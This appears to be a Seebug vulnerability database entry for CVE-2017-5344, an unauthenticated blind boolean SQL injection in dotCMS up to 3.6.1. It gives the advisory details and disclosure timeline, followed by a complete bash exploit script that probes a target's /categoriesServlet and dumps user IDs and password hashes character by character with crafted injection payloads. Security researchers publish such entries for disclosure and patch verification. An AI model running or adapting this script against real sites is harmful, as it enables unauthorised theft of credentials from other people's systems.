dotCMS Blind Boolean SQL Injection in dotCMS <= 3.6.1 (CVE-2017-5344)

2017-02-17T00:00:00
ID SSV:92691
Type seebug
Reporter Root
Modified 2017-02-17T00:00:00

Description

Product Description

dotCMS is a scalable, java based, open source content management system (CMS) that has been designed to manage and deliver personalized, permission based content experiences across multiple channels. dotCMS can serve as the plaform for sites, mobile apps, mini-sites, portals, intranets or as a headless CMS (content is consumed via RESTful APIs). dotCMS is used everywhere, from running small sites to powering multi-node installations for governemnts, Fortune 100 companies, Universities and Global Brands. A dotCMS environment can scale to support hundreds of editors managing thousands of sites with millions of content objects.

Vulnerability Type

Blind Boolean SQL injection

Vulnerability Description

dotCMS versions up to 3.6.1 (and possibly others) are vulnerable to blind boolean SQL injection in the q and inode parameters at the /categoriesServlet path. This servlet is a remotely accessible, unauthenticated function of default dotCMS installations and can be exploited to exfiltrate sensitive information from databases accessible to the DMBS user configured with the product.

Exploitation of the vulnerability is limited to the MySQL DMBS in 3.5 - 3.6.1 as SQL escaping controls were added to address a similar vulnerability discovered in previous versions of the product. The means of bypassing these features which realise this vulnerability have only been successfully tested with MySQL 5.5, 5.6 and 5.7 and it is believed other DMBS's are not affected. Versions prior to 3.6 do not have these controls and can be exploited directly on a greater number of paired DMBS's. PostgreSQL is vulnerable in all described versions of dotCMS when PostgreSQL standard_confirming_strings setting is disabled (enabled by default).

The vulnerability is the result of string interpolation and directly SQL statement execution without sanitising user input. The intermediate resolution for a previous SQLi vulnerability was to whitelist and partially filter user input before interpolation. This vulnerability overcomes this filtering to perform blind boolean SQL injection. The resolution to this vulnerability was to implement the use of prepared statements in the affected locations.

This vulnerability has been present in dotCMS since at least since version 3.0.

Exploit

A proof of concept is available here: https://github.com/xdrr/webapp-exploits/tree/master/vendors/dotcms/2017.01.blind-sqli

Versions

dotCMS <= 3.3.2 and MYSQL, MSSQL, H2, PostgreSQL

dotCMS 3.5 - 3.6.1 and (MYSQL or PostgreSQL w/ standard_confirming_strings disabled)

Attack Type

Unauthenticated, Remote

Impact

The SQL injection vulnerability can be used to exfiltrate sensitive information from the DBMS used with dotCMS. Depending of the DBMS configuration and type, the issue could be as severe as establishing a remote shell (such as by using xp_exec on MSSQL servers) or in the most limited cases, restricted only to exfiltration of data in dotCMS database tables.

Credit

This vulnerability was discovered by Ben Nott <pajexali () gmail com>.

Credit goes to Erlar Lang for discovering similar SQL injection vulnerabilities in nearby code and for inspiring this discovery.

Disclosure Timeline

  • Jan 2, 2017 - Issue discovered.
  • Jan 2, 2017 - Vendor advised of discovery and contact requested for full disclosure.
  • Jan 4, 2017 - Provided full disclosure to vendor.
  • Jan 5, 2017 - Vendor acknowledged disclosure and confirmed finding validity.
  • Jan 14, 2017 - Vendor advised patch developed and preparing for release.
  • Jan 24, 2017 - Vendor advised patching in progress.
  • Feb 15, 2017 - Vendor advises ready for public disclosure.

References

Vendor advisory: http://dotcms.com/security/SI-39 CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5344

                                        
                                            
                                                #!/bin/bash
#
# Dump password hashes from dotCMS &lt;= 3.6.1 using blind boolean SQL injection.
# CVE: CVE-2017-5344
# Author: Ben Nott &lt;pajexali@gmail.com&gt;
# Date: January 2017
#
# Note this exploit is tuned for MySQL backends but can be adapted
# for other DMBS's.

show_usage() {
    echo "Usage $0 [target]"
    echo
    echo "Where:"
    echo -e "target\t...\thttp://target.example.com (no trailing slash, port optional)"
    echo
    echo "For example:"
    echo
    echo "$0 http://www.examplesite.com"
    echo "$0 https://www.mycmssite.com:9443"
    echo
    exit 1
}

test_exploit() {
    target=$1
    res=$(curl -k -s -X 'GET' \
           -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
           "${target}/categoriesServlet?q=%5c%5c%27")

    if [ $? -ne 0 ];
    then
        echo "Failed to connect. Check host and try again!"
        exit 1
    fi

    if [ -z "$res" ];
    then
        echo "The target appears vulnerable. We're good to go!"
    else
        echo "The target isn't vulnerable."
        exit 1
    fi
}

dump_char() {
    target=$1
    char=$2
    database=$3
    index=$4
    offset=$5
    column=$6
    avg_delay=$7

    if [ -z "$offset" ];
    then
        offset=1
    fi

    if [[ $char != *"char("* ]];
    then
        char="%22${char}%22"
    fi

    if [ -z "$column" ];
    then
        column="password_"
    fi

    # Controls the avg delay of a FALSE
    # request
    if [ -z "$avg_delay" ];
    then
        avg_delay="0.100"
    fi

    res=$(curl -k -sS \
        -w " %{time_total}" \
        -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
        "${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23")
    data=$(echo $res | awk '{print $1}')
    rtt=$(echo $res | awk '{print $2}')

    # Calculate boolean based on time delay and
    # data presence.
    has_delay=$(echo "${rtt}&gt;${avg_delay}" | bc -l)
    if [ ! -z "$data" ];
    then
        if [ $has_delay -eq 1 ];
        then
            echo "$char"
        fi
    fi
}

testdb() {
    target=$1
    res=$(dump_char $target 1 "dotcms" 1 1)
    if [ ! -z "$res" ];
    then
        echo "dotcms"
    else
        res=$(dump_char $target 1 "dotcms2")
        if [ ! -z "$res" ];
        then
            echo "dotcms2"
        fi
    fi
}

convert_char() {
    char=$1
    conv="$char"

    if [ "$char" == "char(58)" ];
    then
        conv=":"
    elif [ "$char" == "char(47)" ];
    then
        conv="/"
    elif [ "$char" == "char(61)" ];
    then
        conv="="
    elif [ "$char" == "char(45)" ];
    then
        conv="-"
    fi

    echo -n "$conv"
}

a2chr() {
    a=$1
    printf 'char(%02d)' \'$a
}

n2chr() {
    n=$1
    printf 'char(%d)' $n
}

chr2a() {
    chr=$1
    chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g')
    chr=`printf \\\\$(printf '%03o' $chr)`
    echo -n $chr
}

iter_chars() {
    target=$1
    db=$2
    user=$3
    offset=$4
    column=$5
    for c in {32..36} {38..94} {96..126}
    do
        c=$(n2chr $c)
        res=$(dump_char $target $c $db $user $offset $column)

        if [ ! -z "$res" ];
        then
            chr2a $res
            break
        fi
    done
}

exploit() {
    target=$1
    db=$(testdb $target)

    if [ -z "$db" ];
    then
        echo "Unable to identify database name used by dotcms instance!"
        exit 1
    fi

    echo "Dumping users and passwords from database..."
    echo

    for user in $(seq 0 1023);
    do
        validuser=1
        echo -n "| $user | "
        for offset in $(seq 1 1024);
        do
            res=$(iter_chars $target $db $user $offset "userid")
            
            if [ -z "$res" ];
            then
                if [ $offset -eq 1 ];
                then
                    validuser=0
                fi
                break
            fi

            echo -n "$res";
        done

        if [ $validuser -eq 1 ];
        then
            printf " | "
        else
            printf " |\n"
            break
        fi
        for offset in $(seq 1 1024);
        do
            res=$(iter_chars $target $db $user $offset "password_")

            if [ -z "$res" ];
            then
                break
            fi

            echo -n "$res";
        done
        printf " |\n"
    done
    echo
    echo "Dumping complete!"
}

target=$1

if [ -z "$target" ];
then
    show_usage
fi

test_exploit $target
exploit $target